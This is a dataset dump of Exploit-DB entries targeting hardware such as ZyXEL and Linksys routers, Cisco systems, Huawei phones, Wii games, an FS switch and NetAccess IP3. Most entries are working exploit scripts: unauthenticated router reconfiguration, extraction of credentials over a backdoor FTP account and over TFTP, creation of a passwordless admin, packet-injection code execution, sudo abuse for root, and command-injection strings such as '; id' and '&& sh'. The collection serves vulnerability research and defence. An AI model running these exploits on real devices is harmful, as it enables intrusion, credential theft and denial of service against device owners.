deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37199
Description: ZTE AC 3633R USB Modem - Multiple Vulnerabilities
Type: dos
Platform: hardware
Date: 2015-06-04
Author: Vishnu

Exploit:
# Exploit Title: ZTE AC 3633R USB Modem Multiple Vulnerabilities
# Date: 4/06/2015
# Exploit Author: [Vishnu (@dH3wK)
# Vendor Homepage: [http://zte.com.cn
# Version: 3633R
# Tested on: Windows, Linux


Greetings from vishnu (@dH4wk)

1. Vulnerable Product Version

- ZTE AC3633R (MTS Ultra Wifi Modem)

2. Vulnerability Information

(A) Authentication Bypass
Impact: Attacker gains administrative access
Remotely Exploitable: UNKNOWN
Locally Exploitable: YES

(B) Device crash which results in reboot
Impact: Denial of service, The crash may lead to RCE locally thus
attaining root privilege on the device
Remotely Exploitable: UNKNOWN
Locally Exploitable: YES

3. Vulnerability Description

(A) The administrative authentication mechanism of the modem can be
bypassed by feeding with a string of 121 characters in length, either in
username or password field.

(B) A crash causes the modem to restart. This is caused when either of
the password or username fields are fed with an input of 130 characters
or above.

[Note: If username is targeted for exploitation, then password field shall
be fed with minimum 6 characters (any characters) and vice versa ]
Exploit-DB #36825
Description: ZYXEL P-660HN-T1H_IPv6 - Remote Configuration Editor / Web Server Denial of Service
Type: dos
Platform: hardware
Date: 2015-04-23
Author: Koorosh Ghorbani

Exploit:
<?php
/*
Exploit Title   : ZYXEL remote configuration editor / Web Server DoS
Date            : 23 April 2015
Exploit Author  : Koorosh Ghorbani
Site            : http://8thbit.net/
Vendor Homepage : http://www.zyxel.com/
Platform        : Hardware 
Tested On       : ZyXEL P-660HN-T1H_IPv6
Firmware Version: 1.02(VLU.0)
--------------------------
 Unattended remote access  
--------------------------
ZYXEL Embedded Software does not check Cookies And Credentials on POST method so 
attackers could changes settings and view pages with post method .

--------------------------
      DoS Web Server
--------------------------
sending empty Post to admin pages will crash internal web server and router needs
to hard reset .

*/
$banner = "   ___ _______ _     ____  _ _______ \r\n" . "  / _ \__   __| |   |  _ \(_)__   __|\r\n" ." | (_) | | |  | |__ | |_) |_   | |   \r\n" ."  > _ <  | |  | '_ \|  _ <| |  | |   \r\n" ." | (_) | | |  | | | | |_) | |  | |   \r\n" ."  \___/  |_|  |_| |_|____/|_|  |_|   \r\n" ."                                     \r\n" ."                                     \r\n";
print $banner;
function Post($packet,$host)
{
	try {
		$curl = curl_init();
		curl_setopt($curl, CURLOPT_URL, $host);
		curl_setopt($curl, CURLOPT_POST, 1);
		curl_setopt($curl, CURLOPT_POSTFIELDS, $packet);
		curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0");
		curl_setopt($curl, CURLOPT_REFERER, "Referer: http://192.168.1.1/cgi-bin/WLAN_General.asp");
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		$result = curl_exec($curl);
		curl_close($curl);
		return $result;
	}catch (Exception $e ){
		echo $e->getMessage();
		return "" ;
	}
}
if(sizeof($argv) < 3) {
	print "Usage : $argv[0] 192.168.1.1 NewWifiPassword\n";
    exit(1);
}
$host = $argv[1];
$[CREDENTIAL_REDACTED]($argv[2]);
$packet= "access=0&DoScan=0&ChannelDoScan=0&WlanQosFlag=0&HtExtcha=0&IsPtGui=0&SecurityIndexOriginal=3&EnableWLAN=on&SSID_INDEX=0&EnableWLanFlag=1&CountryRegion=1&CountryRegion0=0&CountryRegion1=1&CountryRegion2=2&CountryRegion3=3&CountryRegion5=5&CountryRegion6=6&Countries_Channels=IRAN&Channel_ID=11&HideSsidFlag=0&WPACompatileFlag=WPA2PSK&EncrypType=TKIPAES&PreSecurity_Sel=WPA2PSK&Security_Sel=WPA2PSK&WLANCfgPphrase=&WEP_Key1=&DefWEPKey=1&WLANCfgPSK=$password&WLANCfgAuthenTimeout=1800&WLANCfgIdleTimeout=3600&WLANCfgWPATimer=1800&WLANCfgRadiusServerAddr=0.0.0.0&WLANCfgRadiusServerPort=1812&WLANCfgRadiusServerKey=&Qos_Sel=None&doSubmitFlag=0" ;
$target = "http://$host/cgi-bin/WLAN_General.asp";
if(strlen(Post($packet,$target)) > 0){
    print "Seems Changed !";
}else{
    print "Humm , No Chance !";
}
//DoS : Post("",$target) ;
?>
Exploit-DB #21561
Description: ZYXEL Prestige 642R Router - Malformed Packet Denial of Service
Type: dos
Platform: hardware
Date: 2002-07-17
Author: Kistler Ueli

Exploit:
source: https://www.securityfocus.com/bid/5034/info

ZyXEL 642R routers have difficulties handling certain types of malformed packets. In particular, it is possible to deny services by sending a vulnerable router a SYN-ACK packet. To a lesser degree, the router also encounters difficulties when handling SYN-FIN packets. In both instances, some services provided by the router (telnet, FTP and DHCP) will be denied, however, the device will continue to route network traffic. This issue has also been reproduced with other types of malformed packets.

ZyXEL 642R-11 and Prestige 310 routers are reportedly affected by this vulnerability. It is possible that other ZyNOS-based routers are also affected by this vulnerability. ZxXEL 643 ADSL routers do not appear to be prone to this issue.

This issue may be exploited in combination with the vulnerability described in Bugtraq ID 3346. 

# This is a RafaleX script (Download: www.packx.net)
# Rafale X script
# ---------------
# Action : Make a ZyXEL 642R Prestige Router inaccessible on port 23
#
%name=ZyXEL telnet service DoS
%category=Denial of service
%date=23-05-2002
%rafalemin=0.2
%description=Crash ZyXEL router telnet service with ACK and SYN flag

// Variables
$done=Target attacked...

// Do the stuff...
!Display=Please wait...
!Sleep 500
PORTDST=23
IPHEADERSIZE=20
ACK=1
SYN=1
!Display=Sending the packet...
!SEND 1 TCP
!Sleep 200
!Display=ACK/SYN Packet sent! ZyXEL telnet service crashed
(V2.50(AJ.6))

!Sleep 1000

!Display=$done
Exploit-DB #29767
Description: ZYXEL Router 3.40 Zynos - SMB Data Handling Denial of Service
Type: dos
Platform: hardware
Date: 2007-03-20
Author: Joxean Koret

Exploit:
source: https://www.securityfocus.com/bid/23061/info

Zyxel Routers running the ZynOS operating system are prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected device, denying further network service to legitimate users.

This issue affects Zyxel routers running ZynOS version 3.40. 

sr(SMBMailSlot(name='\\M'))
Exploit-DB #45746
Description: ZyXEL VMG3312-B10B < 1.00(AAPP.7) - Credential Disclosure
Type: dos
Platform: hardware
Date: 2018-10-30
Author: numan türle

Exploit:
# Exploit Title: ZyXEL VMG3312-B10B - Leak Credentials < 1.00(AAPP.7)
# Date: 2018-10-28
# Exploit Author: numan türle @numanturle
# Vendor Homepage: https://www.zyxel.com/
# Software Link: ftp://ftp.zyxel.com.tr/ZyXEL_URUNLERI/MODEMLER/VDSL_MODEMLER/VMG3312-B10B/
# Firmware: 1.00(AAPP.0)D7 
# Tested on: windows
# Fixed firmware: 1.00(AAPP.7)


<?php 
$ftp_server = "192.168.1.1"; // modem ip address
$ftp_conn = ftp_connect($ftp_server) or die("ftp server close");
$login = ftp_login($ftp_conn, "support", "support"); // backdoor 

$local_file = "crackme";
$server_file = "/var/csamu"; // base64_encode files

if (ftp_get($ftp_conn, $local_file, $server_file, FTP_BINARY)) {
	$open = file($local_file);
	foreach($open as $u_p){
		$bomb = explode(" ",$u_p);
		$user = $bomb[0];
		$pass = base64_decode($bomb[1]);
		if(!empty($pass)){
			echo "{$user}:{$pass}<br>";
		}else {
			continue;
		}
	}
}else {
	echo "pfff";
}
ftp_close($ftp_conn); 
?>
Exploit-DB #36813
Description: ADB - Backup Archive File Overwrite Directory Traversal
Type: local
Platform: hardware
Date: 2015-04-21
Author: Imre Rad

Exploit:
ADB backup archive path traversal file overwrite   
------------------------------------------------

Using adb one can create a backup of his/her Android device and store it
on the PC. The backup archive is based on the tar file format.

By modifying tar headers to contain ../../ like patterns it is possible
to overwrite files owned by the system user on writeable partitions.


An example pathname in the tar header:
apps/com.android.settings/sp/../../../../data/system/evil.txt
Tar header checksum must be corrected of course.

When restoring the modified archive the BackupManagerService overwrites
the resolved file name, since file name is not sanitized.

Bugfix in the version control:
https://android.googlesource.com/platform/frameworks/base/+/7bc601d%5E!/#F0


Android 5 (Lollipop) and newer versions are not affected (due to the
official bugfix linked above).


Additional conditions for exploiting on pre-Lollipop systems:

- Partition of the desination file must be mounted as writeable (eg.
/system won't work, but /data does)

- It is not possible to overwrite files owned by root, since the process
doing the restore is running as the same user as the package itself and
Android packages cannot run.

- It is not possible to overwrite files owned by system user since AOSP
4.3 due to Id6a0cb4c113c2e4a8c4605252cffa41bea22d8a3, a new hardening
was introduced "... ignoring non-agent system package ".
(If the operating system is custom and there is a system package
available with a full backup agent specified explicitly, then that
custom Android 4.3 and 4.4 might be affected too.)

Pre 4.3 AOSP systems are affected without further conditions: it is
possible to overwrite files owned by the system user or any other
packages installed on the system.



Tested on:      Android 4.0.4:
Reported on:    2014-07-14
Assigned CVE:   CVE-2014-7951
Android bug id: 16298491
Discovered by:  Imre Rad / Search-Lab Ltd.
                http://www.search-lab.hu
                http://www.securecodingacademy.com/
Exploit-DB #40271
Description: Cisco ASA / PIX - 'EPICBANANA' Local Privilege Escalation
Type: local
Platform: hardware
Date: 2016-08-19
Author: Shadow Brokers

Exploit:
# Exploit Title: Cisco ASA / PIX - Privilege Escalation (EPICBANANA)
# Date: 19-08-2016
# Exploit Author: Shadow Brokers
# Vendor Homepage: http://www.cisco.com/

 
Full Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40271.zip
Exploit-DB #30237
Description: Cisco Unified Communications Manager - TFTP Service
Type: local
Platform: hardware
Date: 2013-12-12
Author: daniel svartman

Exploit:
#!/bin/bash
#######################################################################
# Proof of Concept on how to get tftp config files from cisco phones  #
# This can be performed anonymously and privileges gathered relies on #
# those assigned to the ldap account                                  #
# Developed by Daniel Svartman  (danielsvartman@gmail.com             #
# In case tftp files are encrypted, you will need to hijack a phone   #
# and download the decryption key from the ROM memory                 #
#######################################################################                               

# This example below is for enumerating and downloading configuration files from phones
# With this you can gather personal information and sometimes also credentials from LDAP
# The first 8 digits of the MAC address relies on cisco mac address used by phones
# While the last 4 are generated automatically

BASE_MAC=$1
TFTP_SERVER=$2

perl -e '$var = 0x0001; for (1 .. 65535 ) { printf qq[%04X\n], $var++ }' > mac.txt

#Now we should download the files
while read LINE; do
	tftp ${TFTP_SERVER} -c get SEP${BASE_MAC}${LINE}.cnf.xml
done < mac.txt

#Finally, we download and process also the SPDefault.cnf.xml file
tftp ${TFTP_SERVER} -c get SPDefault.cnf.xml
USERID=`grep "UseUserCredential"  SPDefault.cnf.xml | cut -d ">" -f 6 | cut -d "<" -f 1`
echo "USERID: " $USERID > credentials.txt
PWD=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 8 | cut -d "<" -f 1`
echo "PWD: " $PWD >> credentials.txt
BASE_DN=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 10 | cut -d "<" -f 1`
echo "BASE_DN: " $BASE_DN >> credentials.txt
while read LINE; do	
			if [ "$LINE" = "<ProductType>Directory" ]; then
				read LINE
				ADDRESS=`echo $LINE | cut -d ">" -f 2 | cut -d "<" -f 1`
				echo "LDAP_IP_ADDRESS: " $ADDRESS >> credentials.txt
			fi
done < SPDefault.cnf.xml

echo "Done - Please, check credentials.txt file, also review all the SEPxxxx.cnf.xml files for further credentials"
Exploit-DB #34954
Description: Cisco Unified Communications Manager 8.0 - Invalid Argument Privilege Escalation
Type: local
Platform: hardware
Date: 2010-11-03
Author: Knud Erik Hjgaard

Exploit:
source: https://www.securityfocus.com/bid/44672/info

Cisco Unified Communications Manager is prone to a local privilege-escalation vulnerability.

Attackers can exploit this issue to gain administrative access to the affected device and execute arbitrary code with superuser privileges. Successful exploits will lead to the complete compromise of the device.

This issue is tracked by Cisco Bug ID CSCti52041 and CSCti74930.

Cisco Unified Communications Manager 6, 7, and 8 are vulnerable. 

/usr/local/cm/bin/pktCap_protectData -i";id"
Exploit-DB #50773
Description: Cyclades Serial Console Server 3.3.0 - Local Privilege Escalation
Type: local
Platform: hardware
Date: 2022-02-21
Author: ibby

Exploit:
# Exploit Title: Cyclades Serial Console Server 3.3.0 - Local Privilege Escalation
# Date: 09 Feb 2022
# Exploit Author: @ibby
# Vendor Homepage: https://www.vertiv.com/en-us/
# Software Link: https://downloads2.vertivco.com/SerialACS/ACS/ACS_v3.3.0-16/FL0536-017.zip
# Version: Legacy Versions V_1.0.0 to V_3.3.0-16
# Tested on: Cyclades Serial Console Server software (V_1.0.0 to V_3.3.0-16)
# CVE : N/A

# The reason this exists, is the admin user & user group is the default user for these devices. The software ships with overly permissive sudo privileges
## for any user in the admin group, or the default admin user. This vulnerability exists in all legacy versions of the software - the last version being from ~2014.
### This vulnerability does not exist in the newer distributions of the ACS Software.

#!/bin/bash

## NOTE: To view the vulnerability yourself, uncomment the below code & run as sudo, since it's mounting a file system.
## The software is publicly available, this will grab it and unpack the firmware for you.

#TMPDIR=$(mktemp -d)
#curl 'https://downloads2.vertivco.com/SerialACS/ACS/ACS_v3.3.0-16/FL0536-017.zip' -o FL0536-017.zip && unzip FL0536-017.zip $$ binwalk -e FL0536-017.bin
#sudo mount -o ro,loop _FL0536-017.bin.extracted/148000 $TMPDIR && sudo cat "$TMPDIR/etc/sudoers"
#echo "As you can see, the sudo permissions on various binaries, like that of /bin/mv, are risky."


# ! EXPLOIT CODE BELOW ! #
# -------
# Once you exit the root shell, this will clean up and put the binaries back where they belong.
echo "Creating backups of sed & bash binaries"
sudo cp /bin/sed /bin/sed.bak
sudo cp /bin/bash /bin/bash.bak
echo "Saved as bash.bak & sed.bak"
sudo mv /bin/bash /bin/sed
sudo /bin/sed
echo "Replacing our binary with the proper one"
sudo mv /bin/bash.bak /bin/bash && sudo mv /bin/sed.bak /bin/sed
Exploit-DB #51798
Description: DS Wireless Communication - Remote Code Execution
Type: local
Platform: hardware
Date: 2024-02-15
Author: MikeIsAStar

Exploit:
# Exploit Title: DS Wireless Communication Remote Code Execution
# Date: 11 Oct 2023
# Exploit Author: MikeIsAStar
# Vendor Homepage: https://www.nintendo.com
# Version: Unknown
# Tested on: Wii
# CVE: CVE-2023-45887

"""This code will inject arbitrary code into a client's game.

You are fully responsible for all activity that occurs while using this code.
The author of this code can not be held liable to you or to anyone else as a
result of damages caused by the usage of this code.
"""

import re
import sys

try:
    import pydivert
except ModuleNotFoundError:
    sys.exit("The 'pydivert' module is not installed !")


# Variables
LR_SAVE = b'\x41\x41\x41\x41'
assert len(LR_SAVE) == 0x04
PADDING = b'MikeStar'
assert len(PADDING) > 0x00

# Constants
DWC_MATCH_COMMAND_INVALID = b'\xFE'
PADDING_LENGTH = 0x23C
FINAL_KEY = b'\\final\\'
WINDIVERT_FILTER = 'outbound and tcp and tcp.PayloadLength > 0'


def try_modify_payload(payload):
    message_pattern = rb'\\msg\\GPCM([1-9][0-9]?)vMAT'
    message = re.search(message_pattern, payload)
    if not message:
        return None

    payload = payload[:message.end()]
    payload += DWC_MATCH_COMMAND_INVALID
    payload += (PADDING * (PADDING_LENGTH // len(PADDING) + 1))[:PADDING_LENGTH]
    payload += LR_SAVE
    payload += FINAL_KEY
    return payload


def main():
    try:
        with pydivert.WinDivert(WINDIVERT_FILTER) as packet_buffer:
            for packet in packet_buffer:
                payload = try_modify_payload(packet.payload)
                if payload is not None:
                    print('Modified a GPCM message !')
                    packet.payload = payload
                packet_buffer.send(packet)
    except KeyboardInterrupt:
        pass
    except PermissionError:
        sys.exit('This program must be run with administrator privileges !')


if __name__ == '__main__':
    main()
Exploit-DB #51414
Description: FS-S3900-24T4S - Privilege Escalation
Type: local
Platform: hardware
Date: 2023-05-02
Author: Daniele Linguaglossa

Exploit:
# Exploit Title: FS-S3900-24T4S Privilege Escalation
# Date: 29/04/2023
# Exploit Author: Daniele Linguaglossa & Alberto Bruscino
# Vendor Homepage: https://www.fs.com/
# Software Link: not available
# Version: latest
# Tested on: latest
# CVE : CVE-2023-30350

import sys
import telnetlib


def exploit(args):
    print(args)
    if len(args) != 1:
        print(f"Usage: {sys.argv[0]} <ip>")
        sys.exit(1)
    else:
        ip = args[0]
        try:
            with telnetlib.Telnet(ip, 23) as tn:
                try:
                    tn.read_until(b"Username: ")
                    tn.write(b"guest\r\n")
                    tn.read_until(b"Password: ")
                    tn.write(b"guest\r\n")
                    tn.read_until(b">")
                    tn.write(b"enable\r\n")
                    tn.read_until(b"Password: ")
                    tn.write(b"super\r\n")
                    tn.read_until(b"#")
                    tn.write(b"configure terminal\r\n")
                    tn.read_until(b"(config)#")
                    tn.write(b"username admin nopassword\r\n")
                    tn.read_until(b"(config)#")
                    print(
                        "Exploit success, you can now login with username: admin and password: <empty>")
                    tn.close()
                except KeyboardInterrupt:
                    print("Exploit failed")
                    tn.close()
        except ConnectionRefusedError:
            print("Connection refused")


if __name__ == "__main__":
    exploit(sys.argv[1:])
Exploit-DB #44306
Description: Huawei Mate 7 - '/dev/hifi_misc' Privilege Escalation
Type: local
Platform: hardware
Date: 2016-01-24
Author: pray3r

Exploit:
/*
 *
 *  HuaWei Mate7 hifi driver Poc
 *
 *  Writen by pray3r, <pray3r.z@gmail.com>
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>

#define HIFI_MISC_IOCTL_WRITE_PARAMS    _IOWR('A', 0x75, struct misc_io_sync_param)

struct misc_io_sync_param {
	void *                  para_in;           
	unsigned int            para_size_in;       
	void *                  para_out;           
	unsigned int            para_size_out;   
};

int main(int arg, char **argv)
{
	int fd; 
	void *in = malloc(300 * 1024);
	void *out = malloc(100);
	struct misc_io_sync_param poc;

	poc.para_in = in;
	poc.para_size_in = 300 * 1024;
	poc.para_out = out;
	poc.para_size_out = 100;

	fd = open("/dev/hifi_misc", O_RDWR);

	ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc);

	free(in);
	free(out);

	return 0;
}
Exploit-DB #8833
Description: Linksys WAG54G2 - Web Management Console Arbitrary Command Execution
Type: local
Platform: hardware
Date: 2009-06-01
Author: Securitum

Exploit:
1. Linksys WAG54G2 router is a popular SOHO class device. It provides ADSL / WiFi / Ethernet interfaces.

2. When logged into web management console, it is possible to execute commands as root (tested on firmware: V1.00.10).

3. PoC:

GET /setup.cgi?ping_ipaddr1=1&ping_ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1&ping_size=60&ping_number=1&ping_interval=1000&ping_timeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=1.1.1.1;/bin/ps aux&message= HTTP/1.1
Host: 192.168.1.1
Authorization: Basic YWRtaW46YWRtaW4=

HTTP/1.0 200 OK
sh: cannot create 1: Unknown error 30
killall: pingmultilang: no process killed
killall: 2: no process killed
  PID  Uid     VmSize Stat Command
    1 root        284 S   init       
    2 root            SWN [ksoftirqd/0]
    3 root            SW< [events/0]
    4 root            SW< [khelper]
    5 root            SW< [kthread]
...

4. Note that it is needed to supply valid user/password (Authorization HTTP header).

5. One could try to exploit this issue remotely (using CRSF) assuming that a victim did not change default password to the web management.

6. The vendor (Cisco) was contacted in march '09 and confirmed the issue (but still it remains unpatched).

7. More detailed information: http://www.securitum.pl/dh/Linksys_WAG54G2_-_escape_to_OS_root

# milw0rm.com [2009-06-01]
Exploit-DB #44644
Description: Microsoft Xbox One 10.0.14393.2152 - Code Execution (PoC)
Type: local
Platform: hardware
Date: 2017-03-31
Author: unknownv2

Exploit:
For Xbox-SystemOS version: 10.0.14393.2152 (rs1_xbox_rel_1610[PII_REDACTED]) fre, 12/14/2016

Other versions will most likely need modifications to the script. 

**Credits**:
- https://github.com/theori-io/chakra-2016-11
- https://bugs.chromium.org/p/project-zero/issues/detail?id=952
- https://bugs.chromium.org/p/project-zero/issues/detail?id=945

**Info**:
It is not sufficient to start an .exe via shellcode ;)

Exploiters, be creative!

It is desired to find a way to invoke edge engine when console is offline

Greets from unknownv2 & mon0 _


Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44644.zip
Exploit-DB #9688
Description: NetAccess IP3 - (Authenticated) Ping Option Command Injection
Type: local
Platform: hardware
Date: 2009-09-15
Author: r00t

Exploit:
###############################################################
#NetAccess IP3 - Force into shell
#By: r00t
#Shouts: G., Tee, ES, s1ngl3, and D1g1t5
#
###############################################################
#Requirements: Remote access to an IP3
#              Any level control panel username/password
#
###############################################################
#Vendor Information:
#Thanks to Sebastian Wolfgarten (sebastian at wolfgarten dot com)
#for including vendor information in his AFD vuln
#
#"IP3's NetAccess is a device created for high demand environments such as
#convention centers or hotels. It handles the Internet access and
#provides for instance firewalling, billing, rate-limiting as well as
#various authentication mechanisms. The device is administrated via SSH
#or a web-based GUI."
#
###############################################################

1. SSH into the IP3's IP address
2. After logging in, select the "ping" option (usually menu item 5)
3. Ping the address: localhost && sh
4. After four pings to localhost, shell will be forced open

One may think there are limitations once logged into shell without
root access on an IP3.  Wrong.

# milw0rm.com [2009-09-15]